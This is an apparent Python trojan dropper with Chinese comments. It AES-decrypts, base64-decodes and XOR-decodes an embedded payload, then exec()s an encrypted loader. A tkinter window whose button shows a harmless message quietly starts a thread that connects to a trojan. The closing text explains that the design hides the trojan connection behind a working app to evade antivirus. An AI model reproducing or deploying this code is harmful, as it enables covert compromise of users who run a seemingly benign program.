9~D\x17<f\x8bQ\xb3\x94\xd2\xb6\xc0\xe0\xdd\xda\xa0\xe2\xbc\xf4(\x82\xbc\x8fZ\xf2 \x14J\x15\x1c\x89\x0f\x8e\xaa\xaaJ\x08\xceni\xa8\xbaQLh\x9bRL\xe7\x1f6\xd5\xe7\xa4`\xe9\\\xc3\xafy}\xb1\xb7\xc6\x8b\xfa_\xba\x9a\\\xa3?n\xb6\x1fME\xd05\xa5\x06\x8a\xe4\xd1\xc4\x91\x90\x14T\x02\x06\xf8\xf8&N\x85\xe6\x86\xc7\x8a\xb5J\xbf8\xa0\x81\x13w\xe9\xa9^w\xa5\xbb\x9c\xda\x88(d2\xd8\xa3i\xc6M\xba;\x16\xcb;Y\x05p\xa6\x7f\xe8\x86\xa7I\x85\x0eg\xfd\x8c\xb8aS\xe9\x04\x0c\xc0\xbcKZ\x17\x04\x01\x1e?\xa3w\x13\xefp\x96\x92\x99R\xae\x13.\xce\x928\xec\x18\t\xd2y\x86\xbe\xad\xb3\xa4\xce\x9d\x19\x89\x9e\x0b\xc1\x95\xe6\xbf\xaa\xdf\xea\x1a"\xfaJ\xf2GI\xcf\x0b\x85\xa1d\x0fq\x91<\xdbhG\xc5\xec\x16\x8f\xdaj\xdd\xba\xb3\xca#\xfai\x12\xd8\x10\xe7\x15\x15\x86:nE\x14\xd5\xa2\xa4\xf7M\x8c\xdc|\xaf\xc9~\x8a\x8bVr6\x98\xf8\xd3\x9eJ\xf4P\x1c\xa7\xa1\x9e^@J\xac\xceW\xaa\x9a\xd3\x18\xb20\xb1\xbe\x18r\xf1 ] ~\xa5H6I3C0\xb0d\x1b\x17\xca\xfe\xcf\'\x19\xf9PWd\xee{\x95?\xe8<,Q\xf6N\x16\xbe\x83\xfdK\\\x14\x85k:@\x0c\x14\x96P\x9d\xc7\xaf\x01\xba*\x9e\xe8y,\x0c\xd8\xcb\xedo-`G+=bL#\xae ;\x89S\'\xb9\xa0\xc5,\x1af}\xb5\x0b\xd6%\x8aC\xe1\xe6\xd8\x8e\x16\xcc[\xf6\xe1\xdc\xf9U;c\xa6\t\xb5:\x91\x1a^@]\xed\x11._D\x00\x16\xfdM\x86~\xcbw\xf2M\xd0\xad\xc7\x89u\x8c\x87\x17\xa2\xfb\xa35\x8cK\x02f\x04\xb7"d\x7f-\xd1I\xf8\xd9;\x0f\x9c\x88\x04\x07\xe2\xf3.&T\x99\x9b\x93\r\x8b!Z\xe6\xd6\xf5\xe8$\xc3\x84\xa0\x8fQH\xbe\xdb\x12o\xc5\xc7\xd5T\xf1\x1b\r\xb8\xa0\xd4rZw\xecL\xfd\xbc6\x16i1P\xd6\xe5\xd2(\xa4\\3\xfb\xfa\x9165\xab\xa3\xa1\x0bj`\x97\xcc\x90\x1avE\x00\xda\x8c\xe6\xc5T\xc8\x04L\xb6\xf4\xb6g\xc8\xe6\xb4\xf1\x87\x99?K\x03B\xc3\x89+n/\xbe\x7f\x80\xea\xc3\xe3\xf4\xe9A\xe1\xf2\x13\xe0\xf1T\xa0PQEQ\'\x02#B\x88\xe2\xf0\xc4\xdd\x9b\xe5\xcf\x83\xbc\xb8\xd5{\x92\x05u\xc9\xc3r3E\xdf\\2F\xad\x13\xbay\xf1%\xb7H@\xf9\x07\xf8"\xc1\xa4\xdd\xac\xe06\xc7\xa1f\x0c\\t\x9cO!e\xa3\xf4"\xf9\xa6\'\xa2\x87\xdf+\x12x\xd1r\xbb\xaf\xff\x84\x1b+S\xfd\xd09\xefB3\x8c\xd8\x03\xe6w\xd4\xfaS\xcd\x1df\xd9Z\xdc\xe8\xa9T\xb9\rr\xab\x92\xfen<.\xc1%\xd7Jz;J\xd8\x07v\xae\xca\x0b\\\x1cpim\xff\xd3o\xc7`q(\xaap\xcc\xc1Y2JN\xbb}\x8eY\xbc\xa9X\xb9\x1a\xb2r\xc5Z\xe9\xe9\xa8\xa8N\x9a\x8e\xf9\x9eEax\xe9OF=ZI\x06\xad\x91~G\xd6\x1c{_aM\xef5\xa2\x03\x93\x8eA;\x17\x1d\xd4\x8c}\x15\xd3_Z_k\xb1Z\xe4\xbb\xd3\xf0\xde+F8\x8e\x9b\x03\xcc\xf1P\xe4\xf8S\x18\\F\xfb5\x16Ui\xf9\xa0\xf0 \x13\xd0~\xe3}\xed\xd5\xc9u\x8c,+3\xce\x07\xe2\x15\xd5K\x93[\x11\x0c4\xe8y\xf7\xea8\x93\x0e\xec\xa8\xf0\xb2\x91\xd1\xaec\xfc:\xe0\x07%\xbci\xf9\xd9\x85\\\x8bD\xfb\x93\xb9\r\x87 \x18\x96|O\x0eBU\xeb.\xf4\xf3c\xb2\xd8\x11\x8e\xbe{\xa0i\xfe\x01\xb9a\x0e\xb9\x18\x1b\x19r8\xf7\x93M9hi\x82\x1f\xbd\xb3\x02*\xb0!v#\x88\xa8\x1e\x00\xbfKJ\xd5;Jo\x15\xcf\xac\x91\xec\\\\\x17X\xd5\xbb\xe9\x1a\xa3\x7f\xa2^v\x99M\xbb\x96\x90\xa9\xbb\x08j\xda\x966\x82{\xfb\xf0Rw\x05\xd3|\x9b\x85\xef\x7f\xb3#\xa2\xe8k\xdb;=L5\x86\x13R\xc7\xf9j\x16\xd7\x94\x16f\x1d\xae\x17\xd1\xf2\x9f\xf5\xcb\xde.\xc0L\x88\xec\xc0\xd4\x15\xa2j6\x7f\x8ef\xc6\x1e\xb2\xff^\x1a\x1d\x9f\xdd\x0bA\xbc\xc6\x86\xb3O\xf5\x93D\xcc<5:\x8dK\x8a\x02\xc07S\xb9\x00\x1e\xb0\xfe\xbf3\xec)\xb2\xd3\x1b\x88\t1\xb0\xa0\xce\xb2\x1cA\xa9$\x9bw\rh\x89\x7f\xa7\x89\x06}\xc9\xc1k\t\x1a\xcf\x0b\x7f>\x87\x97b$FM\xaec\xcd\x80\xd8-\xcc{N\xbb\xee\x1d\x8bm\xa9\x8a\xb0\xa9b\xe7\xf75\xbd\xf5\xd6\x12\x7fm\xbd\x01\xb2\x96!\xbcv\x078\x97\xc07\x82\xdb\x8d\x95\xe7\xedoN\xb4b~\x99\x038T}u\xb6\xe5\xa2\xf1Uq\x1b\xef\x85\xeb7\xdc\xd5\xf8\xe4\xc6\x96E\x1f\x9f\x11>\xa5\xbf\xe6\xc5\x12\xca\x1bmv\xd0\tg?}B\x85\x11\xfdlXk\x96\xe4\xcb\x90|\xe8\xcb\xb8\x0b\xb2n\xe2\xf87}\x92\xc7R\xf8\xaf\x01\x16E\xec\x13\xca\x89d\xbb\x05N\x112?F\xb4\tq\xe4 \x8ep\xa6pAX2g\x10\x9f\x19\'\x17\xf2\x12o\x8c0\x7f\xb9\xdaxsX\xff\xe8\x931\x8d\xaad\x8c\x89\xf8\x1dl\xee\x13M\xaan\xa23\xafL\xa0\xb2\x95\x172/Xk\xe2}v_\xbc\xf2\\\x9f\x9c\xea\x9e$\xea\x015^\\)\xa4\x8co$\xcd\x9bEf\xd1\xab\r\xec\x00\x1d\xecg\xa0\x98t\x0c\xd0\xbe,p\xda\x86\xef\x95\xe5\x96\x9a:\xb2.(G\xa9\x9e8\xe2\xa5>x\x95\x9d\xbe\x0e\x89\xdf \xcb\xed\x18\x1arh\xdf8@\xf3\xec\xd2t\x8d\x15w\x11c\xaa\x08\xc4\xbe\xc9\xdaK\xf9y\xb7\xbe\xe2\xafgq\xd0\xa2(\xca\xe7\x1d\xd4\tS\xe2\x04y}\xa1\xdfVmhg\xc5\xe1:*O\xd9\x9a\x13\xa2\xd8_\xacd\xbd\x1ds\xa8\xc9\x89\xc4y\x08\xb1\xf8\x89\xa7\x05\x15*s\x03\xff\x9a\xcb:D\xe3\xecM\xf1\x0f(`\xa9J\xf9b?\x91\xfb\x0c\xa6\x85D\xdc\x82\x8a@\xa9{\x1d\xa5\xba\xba\xa5\xd6@\xb3M\xeb\xd8\xf0f\xed\x05\x90\xed\x0c\x85+\xb6\xbe\x90+\x80\xfe\xd2\x14\xad\x90\xfb\x83P\\\xc4o\xba>\xcepQ.\x83.\xb2\xc2kA\xfc\xc1\xbc2\xa1\xb2\xfc\x14\xa1\xb2\xd0H`{\xcc\xa0G\xa8\x17\x16\x85\x04\xff\x07E\\S\xd5\x86!\xa4\xb4\xa3\xfc\xe7\xe5t\xada5_|\xf6\x85\x00s\xd5\xac\xe3\x1f\xb0\xfam\xab\xf2\xb8\x1e\x05\xa6\xb2mIs3\xebF\tg\xac\xc4Vf\xca\xa6\xca6\x00iu|\xf3i\\a\xd3\x01s\xcc\x16\x88\x12\x19\xfa\xd4!_NT1\xef\xca\xf2@4\xe0o\xda\xb1?\xc0yA\xb1\x1a\x0e\xf9\x1e\xc1\xc7\x83\x16\x81J\x8f\xbb4\x8a\x11\xd9\xf2\xe6l\xd0ICA\x06\xe4\xb4*\x0e`{\xc1\xe5\xf50\x16\x85lk\x18I\xb2\xf7\xc4Yq\x1b\xc3\xe1m\xa3\x93\x94\xa5`(\xfb\x1f\xe2%,\x9b\xeb\x8f]\xb1\xea\xa8{\x89N\xf2\xed1\xe7a`\x94\xfb\xedq\xa4H\x12&\xae\x86\x99c\x7f-\x14\xdf-\x0bO\x8f\xdd\xfeq\x05\x8aA[a\xb11\xaac\xa9\x1b\xfc\xdcUN\xe2Z\x0e\x81k4\xf1\x8e\x1eK\x96_ \x991\xf7\xd5\xa3\xae\xde\xf0\xbe[`\x94\xaf\x08\xd7\xc3\xf0x\x89\xd4\'\x02\xa9\xf2\xa0\xfa\x8b\xcd\x94`\xeb\x18L&C\xd2\xeb\xe4\x80\x0c\x95N\xf6Up\xe4\xfc\xbb\xdfS\xb7\xfe\xca\xb6\xbeN<\xeft\x9e\x02a\xbfw4Y\r\xbd~\xad\x1b6\xe3F|\xe9s\\\x98F@e@+\x8b\xc8\x9a\xf8\xe1\xa3\xf8\x9a\xd6K\xeb\xa9|\xb3\x97\xd8G\x14\x19\xc4\xb9\x06\xf4\x1c\x17\xcd\x08~\xcap\x06\xa9\xb5h\xfdZ\xd6\x97\x00\xb7\x85\x1d\xa5P\x00\xe0\xe6\xef_zOJ\xeai\xa9\x18fu\xa5\xc1\x1e\xe1]\x94\x7f\xca\xf3\xbd\xb1\r\xe34\xf6y\x86\xf5\x18\x9fLya6\xb4Qp)\x8c\xf3O\x7f\x91\xddi\xc7\xf0\x0c\x11\xc1\x08\xbd\xb4d\x81\x802\xf8_\x02\xab\xb7\x10\x8bS]Y\x198\xa5R9\x17\x88\xffZ\x9f\xf16w\x11\x04\xd5\xeci\xf4k~\xab\xf7x\x13\x90\x0e\xa0K+\xa66\x95W\xff\x9c]t\x04{E5\xb1\xd3\x1a\x14v8/M\'@#\r\x9fs\x97|\xe8\x10!M\x11\xf7Pg|\xf9Z9\xd8\xa1V&nW\x800\x16M\x11\xb4N\x88)\x992|\nJ!G\xd4\x9d\x9e{,\'\xb2p\xa7"\x1bR]Z\xe7\xed\x19\xad;YT\xd8\xb2.\xee\xea\x94`\xac\x07X\xc0\xf9\toi\xccx\x07\xcaW\x04\xf2|\xb4e\x7f\xbb^.\x9c\xd7\xb2{\xce$\xd3Sxp\x81\xb7\xa9\x1d\x14\x88&\x9cb=\xc0rmzn\x8fM=\x1bt\xbe\xcb?\xe0\xdb\xff\xdcn9\x16\xbbnk`G\xc3\xf6$\xf3\\\x80\x1eF:b\xf4\x9fd\x96\xb7\xb5\xc5\x9b\x9f\xc7?\x03N\xdf<\xfa\xd5*\xc0I\x0e\x10\x16\xadi$\x1a*C\x8d\x82|\n\x02;\x90Nq\xf5\x92\xf1\x05KN\xb0G\xd7^J\x803:\x98\xb3m=\x95\xaeIc\x9a\x19\xe1\x83\xbeK\xcdf\xa8\x84\x7fg\xd6\x88\x96L\xae\xa2\x1a\xfe#d\xdb\x05\x17X\xc7\xecGA\xa9\x86\x88 &8\xe9L\xd9j\x86BgJ\xda\xcb1\xe2\x8e\xa4\x83\x1f\xf1C\xa6;\xcd\x0f\xf6\xeax\x8e\x9e\x8d\xf0g\x89\xb9\x88\xdcoK\xa7\xf4\xd0\xd36\xe1\xd4\xad\xa5-\xd5\xdd\xbd\xba4g\x14\x9aoeL\xf0\xbe\x1b$\xfc(\xd4\xf2\xe7\xd5\xb1\xd4\xa8\x9es[\xe1\xb9\xf3\xa4\x08\x9a(\x95\x82b\xe6zl\xf1I\x8evC\x002O\x89\x80\xc1\xff\xc8\xb3/g\xe7\r\xd8\xc9\xd3\x8f\x8f@\xe9\xff\xf2\x93o\x9c\xa03,tP\xe3\xa5@\xc7\x0f\x95\xae\xbf\xd6\xd7\x01\xe1\x84H\xeb\x80\x91\xb3\xa5\xf8g\x81\xed\xec^\xcd\x0b\xc6\x1a\x00uk\xabt|!\x07[\xec\xe1vQ\xee\xf5!\x7f\xfa\xf8\xa9\xcf_4{\xd9\xe6\xa6w7\xc3\xa9\r\xa1J\xdcDJ\x1f\x87!v/\xd6\x07H^\xc5\x80\xb8\xdfdpi\x08{S\x90g\x04 \x95>\xec\xf9\xf6\xd2\xf2IZ-h8z\x16\xd2`\xecK\xab\xcd\x1e\x97\xfa\x1c\xc3\x85 \xe2\xc8yZ\x84\x8e\xd9`\xf3\x8c:\xac\x00\xc7\x83\xdcW$\xa5\xdc\x9a\x95\xc8\xcc\xbb\xa0\x00\xf9\xf7\xe9#\xc6\x90Wuw\xcb\x98\x08(\xddy\xcd\x0f!\xdb\xed\x13<\xf1a\xd0\xe9;\xdd~z<\x944\xdd\xcb\x99<Ct\xef\xc8\x05\xed\xf7?\xf2\x17\xfd.F\x1f\x0c\xa9\x80(fA\xa6F\xd1\xb7R\x89\xb5\x90\xd0\xcah\xe7\xf4\x19\xb6\x9at\x86\x8aD\x17\x89\xa3\x8fI\xa59\x16\x1d\xd4N\xea\xe6\xb8\xb0\xcf\xfe\x17\xeb\xa1\xf3v9Q\xcd\x19\xc24?1\xc5\xe43\xc1\x1e]\t\xb0\x1d\xc4\x88\xeb\xad.\xd7\xb2\xad/\x80) \xad{\x1cm!\x0e\x16T\x0cX\xa9Xhr\x87?\xa3\x0e\xc5\xb3_\x83\xac$\x12<\x83;\xab\x0fbJ\xe5\x16\xdf\xda\xa1\xce\x0e\xa8\x93g\xdc\xc9\x1d\xd8^1\xe0\x80\x18\x9e\xd0H\xa4\rU^\x00,\xaeC\xb2sq:&@j\x82\xc5\xefbN\xa4YCM\xc5\x0b\xe8\xe6\x9d\xa6\xdb\'O#\xa3\x08Z\x08\xa3\x8f\xe0~\xcf\x05\xba\x11\x9c\xcd\x837\xd7y\x13\x06+\xa6\x8c\x11\x99\xb9\x10\x1b\x10\xafCM#)\x8b\xf0%\xc6\xb1}uB\xd8\x03\xccJ\xd6r\x01z\xb5\xe2\r7\xb7\xc7W\xc5\x15\xe6+]\x9aT\\\xd2*\xde\xd5\xe0\xa0i\xb9q\xd4\x91\xd1\xb2\x87>-J\xb8\xbc\xb4F\xda\x91\xb5\x94\xf3\xec\xb2{q\xa9<K\xfc\x0c~\xca\x81a$G/\x08\xa4r\xd8\xa3\t\xc8&\xd53\xa5v\xfd\xd8|\xe0W4c\x06\rG\xdak\xdb\xa1/r\xf7\xbd\x18X\x9c\xae\xd7oO|\xc9\x138\xfa\x7f\r\xdf]I}\xe2\x05\xb3`\xdc\x086N(\xc2s\xb0\xe8\xeaSi",iH\\A\x11\xcec_\xc1\x97\x1a\x1fC\xa9\xf4\xcb\x109=Ut}\x8c\x82\x9d\xd8\xd5\xb4\xed\x14c\xde^FY\x11{Hi\xb3J\'\x1c\r6\x1b\x19\xec\x01\x961\x85\x0c\x15\x8fxo5k\xf026?\xfe\xa4\x0fO\x1a\x8e\xd7\xdf\xae\x89\xb9\xb6\x14\x873\xd1+\xc3\xd1\xe8\xc8\x96\xeeW\xe1{}D\xc34\xc3\t\xf99\x1d\x19L\xcc\x0cp\x10\x9d\xd5\x91\xd5\x92*\x82\xdd\x16t\x83\xc5\x127\xc6\x86[\xc6#k\xea\x00\xae\xdd:\x19\xf8(\xec\xd49\x11{\xca\xc7\xbd\x02u\r\x94A\xbe\xb6\x1d<\x15CcM\xf3U\x15\x1c1`\xa3\xc2\xc117\x94\x0fx\x80X\xd6\xa877\x96b\x82\xe7F\xa9\x10,\xe3S\xe39\x1fe\xda\xa3g\x8f\xe2\x04\x87\xd9\xe6\x16!C-\xf5\\8m.xX\xe9sYt\xc1\xe3\x00\x9d\xd3N%P\x88\xa7\xec\x1e\x0b\xe7\xb1\x81\xbazqp`|\x08\xf0\xc2\x10\xda?\xc4\xc6\xd3\xd3\x04\xab\x06Q-Y.B\xc0\xda\xa4-\x94!\xa3\'\xd9T\x8e\x16\xf2x1\xe9\xaa\x13\x13\xfc}\x90\x1dQ\x1d*3\x1b\xe1I-\xb8\x96\x13k\xa6Y\xdf\x9e\xc4Y\x1d \xfe6\x9a\xa1Y\xeb\x1c~\xc2\xbc\xa2\xfbx\\Z?8r\xe2\xf6<v\xa0l\x96\x84\x0c*\xc5<H\xf4\xf2\xb5\x10\xf3\x0c\xc9Cg-\xa9\xb5\x08\xbct\xeaa\xfd\x85l\x10\x93l\x87+/vdR\xa7\xfe\xf9\xc6'
if len(cipherbuf) % 16:
add = 16 - (len(cipherbuf) % 16)
else:
add = 0
cipherbuf += (b'\0' * add)
key = 'todayiswonderful-FEDCBA987654321'.encode()
mode = AES.MODE_CBC
iv = b'1234567890ABCDEF'
cryptos = AES.new(key, mode, iv)
b64buf = cryptos.decrypt(cipherbuf)
strnumbuf = base64.b64decode(b64buf).decode()
numbuf = strnumbuf.split('_')
strbuf = ''
for num in numbuf:
temp = int(num) ^ 73
strbuf += chr(temp)
strbuf = strbuf[::-1]
buf = binascii.a2b_hex(strbuf)
cipherloader = b'\xd5\x8c\xf1\xe8W\xca\xcay\xda\xf8\x8b\x94u\xfb0\xe2\x85\x9f\xb4\xc4\xd6\x87\xb7q\x94\xf1\xbf\xe5\xbd\x907~\x90\xbe\xb8\'\x82\xf0\xc7\x95\x01\x12\xf7\xdc\x1dp\xd5\x9f(\x94\x8c\xb8a:M\x1b\x86\xcb\xe6\x81V\xb5\x98n\rx\xae\x7f\xe8\xeee\x83\x82\x07\xa5\xbd\xf2\xb9\x9f\x7fy\x05S\xb0s\x9e\xf7\x92\'\x1dB\'\x10\xd7\xfe\xedj@\xc7\r\xe2\xdb\xfbQ4\xfep\xa1\xc0\xee:\x11\xf1\x80\xbc\xd4\xe5\x97)o8B\x92\\\x83\xb1p\x8f\xfbMg\xfd\'R\xde$!>\x0f\x02\xbb\xca{\xf6BLW\xee1\xf9\x9f\xec\xa6\xe9\xba`\x04\x9b\xe5^\xa3\x96\x03a\x08E3\x9a\xe8\xcc`\x87\xe5B\x99\xd9=\xf6\xea\xad_8/\x94#\xdb\x8fa\xde\xb5\x08\xd4\xcd\xd1\x88\x11\x0e|\x1f\x84Qa\xa2\x11\xed}&\xb7\x93!\r\xa0\xb4\x87a\x86\x06/\xfb\xe8\xf1\xd2\xda\xba\xabD\xad\x93\xa9F\x06v\x97\xfdK\xa3\xbe\x9b\xd5\x16\xfd\x91\xc1C1\xed \x00\x1a5\xc0~\x1a\x82\r\xed\xbd\xae\xc13Rl.&du\xea\xbc"\xb0RN\x1b]\x13\x02\xa1\x04_2\x81\xc5\xf0\xa4\xa7z\x19\xccP\x1d[\xd9\x8f#\x04M\x833\xe7\xfb\xcat\xcc\xe6\xa0\x16\xbdfuZ@\x08z\xeahj\xd6v\x0c\xfc\xe2BA\xf7\x19\x9f\x13\xc4\xb4\xe8,\xb4Px\xff\xbftk\xd7z\x03\x0c\xd9\xac\xb3\xf3\xb4m\xa1\x01N3*\xcb_\xba\x81\xdc\t\xe3\xa9\xff3\xd5\xb1?K\xed\xfda-\xce\xbc\xc3\xaa\x16D\xee\x85\xe7\xa6m\x90\xd2\x83\x90d\x8f\xad\xa2<Q\xd8\xa3\xd4\x92\xea\x9c\x92\xca\xd6\xd1fr\xb9\x1c\x85\xd1\xe3\xef\xe5/j~\xc8EdbO:\x0f\xe3\x8d\xe3\xfe+\x1d\r\xa7:\xad|\xc4s\xc2m\xfb\xf9\r\x8a\x83\r\x7f-~D\x19\x86\x90\xe0\x1f\x82>\xb8,\x0f\xe8\x96\x1b|`\xb5\xb0\xe8\xc4S\xc4/O\x0c\xd15\x9c!\x83X\x0c\x8f\xf1\xee\x8a\x1f\x8dk\x12\x17-\xd3\xf7\xb7\x02\x81\xda]g\xc2/\n\x03!\x80\xce{#Zf\xeb\x12\x82\x06]\x8f'
b64loader = cryptos.decrypt(cipherloader)
loader = base64.b64decode(b64loader.strip(b'\0')).decode()
exec(loader)
def look():
# 弹出窗口
tkinter.messagebox.showinfo("显示信息","打开浏览器访问xxx")
# tkinter.messagebox.showwarning("显示信息","打开浏览器访问xxx")
# tkinter.messagebox.showerror("显示信息","打开浏览器访问xxx")
# 由于在一个总线程中执行connect函数,会导致该函数程序无法结束,导致线程一直被占用从而使得程序崩溃
# 为了解决这种问题我们可以另起一个子线程来连接木马,这样也不会占用目前这个程序本身的线程,再来该程序本身结束了木马也不会断
t = threading.Thread(target=connect)
t.start()
root = Tk() # 实例化一个主窗口
root.geometry("400x300+500+500") # 定位窗口大小位置,大小用 x 连接,起始位置用 + 连接
root.title("python开发GUI") # 设置窗口标题
# 标签的定义
lable = Label(root,text="这是一个标签文本",bg="red") # 确定标签的文本内容和background
lable.pack() # 自适应位置,有点类似 margin:auto 此时位置不太受控制
lable.place(width=100,height=30,x=20,y=10) # 确定标签的大小(width和height)和位置(x,y)
# 输入框的定义
entry = Entry(root,bg="grey") #定义输入框和背景
entry.place(width=100,height=30,x=150,y=10) # 定义输入框大小和位置
# 按钮的定义
button = Button(root,text="点呀,快活呀",bg="green",command=look)
button.place(width=100,height=30,x=280,y=10)
root.mainloop() # 启动窗口
主要是开发一个窗口,使得用户点击其中一个功能并且该功能可以正常执行,然后执行该功能的同时开启另一个子线程执行免杀之后的代码使得应用的功能可以正常执行的同时还可以执行木马的链接。